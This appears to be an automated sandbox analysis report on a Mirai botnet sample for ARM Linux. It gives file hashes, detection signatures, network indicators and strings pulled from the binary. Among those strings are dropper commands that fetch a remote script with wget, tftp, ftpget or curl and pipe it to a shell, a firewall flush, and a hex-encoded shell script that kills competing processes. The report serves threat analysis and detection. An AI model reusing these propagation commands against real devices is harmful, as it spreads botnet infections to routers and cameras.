Linux Analysis Report
la.bot.arm6.elf

Overview

General Information

Sample name: la.bot.arm6.elf
Analysis ID: 1572089
MD5: 90b819fa8230ce967a73e622ebd53a77
SHA1: 6e98307cb3a0950706c479f280faec3689eeb33c
SHA256: e12838884713a4861bae188d5143bc403c9368047a4adf510e60009c5b15de5e
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Performs DNS TXT record lookups
Sample reads /proc/mounts (often used for finding a writable filesystem)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
Source: la.bot.arm6.elf String: /proc//cmdline/mapsselfrebootftpwgettftpcurl/bin/loginppid/proc/mounts/proc/net/tcp/proc/self/exe/exe/status/fd//dev/null/dev/consolesocket03
Source: la.bot.arm6.elf String: /bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 156.244.13.91 ports 3,4,6,7,9,49376
Source: global traffic TCP traffic: 192.168.2.23:49144 -> 156.244.13.91:49376
Source: /tmp/la.bot.arm6.elf (PID: 6243) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 151.95.160.41
Source: unknown TCP traffic detected without corresponding DNS query: 111.40.239.179
Source: unknown TCP traffic detected without corresponding DNS query: 13.239.144.253
Source: unknown TCP traffic detected without corresponding DNS query: 217.74.63.69
Source: unknown TCP traffic detected without corresponding DNS query: 87.153.190.63
Source: unknown TCP traffic detected without corresponding DNS query: 151.95.160.41
Source: unknown TCP traffic detected without corresponding DNS query: 26.171.229.248
Source: unknown TCP traffic detected without corresponding DNS query: 111.40.239.179
Source: unknown TCP traffic detected without corresponding DNS query: 205.86.75.61
Source: unknown TCP traffic detected without corresponding DNS query: 216.241.19.149
Source: unknown TCP traffic detected without corresponding DNS query: 134.101.235.139
Source: unknown TCP traffic detected without corresponding DNS query: 54.98.153.21
Source: unknown TCP traffic detected without corresponding DNS query: 62.9.132.118
Source: unknown TCP traffic detected without corresponding DNS query: 114.54.48.121
Source: unknown TCP traffic detected without corresponding DNS query: 80.54.107.59
Source: unknown TCP traffic detected without corresponding DNS query: 13.239.144.253
Source: unknown TCP traffic detected without corresponding DNS query: 153.132.113.99
Source: unknown TCP traffic detected without corresponding DNS query: 186.98.223.17
Source: unknown TCP traffic detected without corresponding DNS query: 99.181.6.87
Source: unknown TCP traffic detected without corresponding DNS query: 223.245.132.62
Source: unknown TCP traffic detected without corresponding DNS query: 102.205.95.61
Source: unknown TCP traffic detected without corresponding DNS query: 38.232.177.15
Source: unknown TCP traffic detected without corresponding DNS query: 201.79.98.238
Source: unknown TCP traffic detected without corresponding DNS query: 212.160.143.138
Source: unknown TCP traffic detected without corresponding DNS query: 92.32.136.235
Source: unknown TCP traffic detected without corresponding DNS query: 194.97.41.82
Source: unknown TCP traffic detected without corresponding DNS query: 187.66.46.135
Source: unknown TCP traffic detected without corresponding DNS query: 25.240.175.72
Source: unknown TCP traffic detected without corresponding DNS query: 7.247.202.10
Source: unknown TCP traffic detected without corresponding DNS query: 165.230.63.193
Source: unknown TCP traffic detected without corresponding DNS query: 29.179.72.202
Source: unknown TCP traffic detected without corresponding DNS query: 184.165.96.48
Source: unknown TCP traffic detected without corresponding DNS query: 62.108.115.41
Source: unknown TCP traffic detected without corresponding DNS query: 117.174.182.113
Source: unknown TCP traffic detected without corresponding DNS query: 201.208.191.147
Source: unknown TCP traffic detected without corresponding DNS query: 177.31.243.66
Source: unknown TCP traffic detected without corresponding DNS query: 41.186.145.178
Source: unknown TCP traffic detected without corresponding DNS query: 124.168.104.181
Source: unknown TCP traffic detected without corresponding DNS query: 4.120.217.171
Source: unknown TCP traffic detected without corresponding DNS query: 149.69.7.117
Source: unknown TCP traffic detected without corresponding DNS query: 96.164.214.133
Source: unknown TCP traffic detected without corresponding DNS query: 72.145.111.46
Source: unknown TCP traffic detected without corresponding DNS query: 158.11.28.159
Source: unknown TCP traffic detected without corresponding DNS query: 57.65.49.226
Source: unknown TCP traffic detected without corresponding DNS query: 103.122.67.141
Source: unknown TCP traffic detected without corresponding DNS query: 121.109.136.46
Source: unknown TCP traffic detected without corresponding DNS query: 28.127.163.28
Source: unknown TCP traffic detected without corresponding DNS query: 95.114.152.215
Source: unknown TCP traffic detected without corresponding DNS query: 60.131.150.9
Source: unknown TCP traffic detected without corresponding DNS query: 162.80.93.240
Source: global traffic DNS traffic detected: DNS query: checkout.coziest.lol
Source: la.bot.arm6.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm6.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /procusage: busyboxincorrectinvalidbadwrongfaildeniederrorretry|GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.evad.linELF@0/3@1/0

Persistence and Installation Behavior

barindex
Source: /tmp/la.bot.arm6.elf (PID: 6243) File: /proc/6243/mounts Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/11/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/22/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/66/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/99/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/111/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/222/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/333/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) File opened: /proc/777/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6243) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm6.elf, 6243.1.00007fff8c374000.00007fff8c395000.rw-.sdmp, la.bot.arm6.elf, 6246.1.00007fff8c374000.00007fff8c395000.rw-.sdmp Binary or memory string: ^Xx86_64/usr/bin/qemu-arm/tmp/la.bot.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm6.elf
Source: la.bot.arm6.elf, 6243.1.00005579de038000.00005579de187000.rw-.sdmp, la.bot.arm6.elf, 6246.1.00005579de038000.00005579de187000.rw-.sdmp Binary or memory string: yU!/etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 6243.1.00005579de038000.00005579de187000.rw-.sdmp, la.bot.arm6.elf, 6246.1.00005579de038000.00005579de187000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 6243.1.00007fff8c374000.00007fff8c395000.rw-.sdmp, la.bot.arm6.elf, 6246.1.00007fff8c374000.00007fff8c395000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

HIPS / PFW / Operating System Protection Evasion

barindex
Source: Traffic DNS traffic detected: queries for: checkout.coziest.lol

Stealing of Sensitive Information

barindex
Source: Yara match File source: la.bot.arm6.elf, type: SAMPLE
Source: Yara match File source: 6246.1.00007fbca4017000.00007fbca4030000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6243.1.00007fbca4017000.00007fbca4030000.r-x.sdmp, type: MEMORY

Remote Access Functionality

barindex
Source: Yara match File source: la.bot.arm6.elf, type: SAMPLE
Source: Yara match File source: 6246.1.00007fbca4017000.00007fbca4030000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6243.1.00007fbca4017000.00007fbca4030000.r-x.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs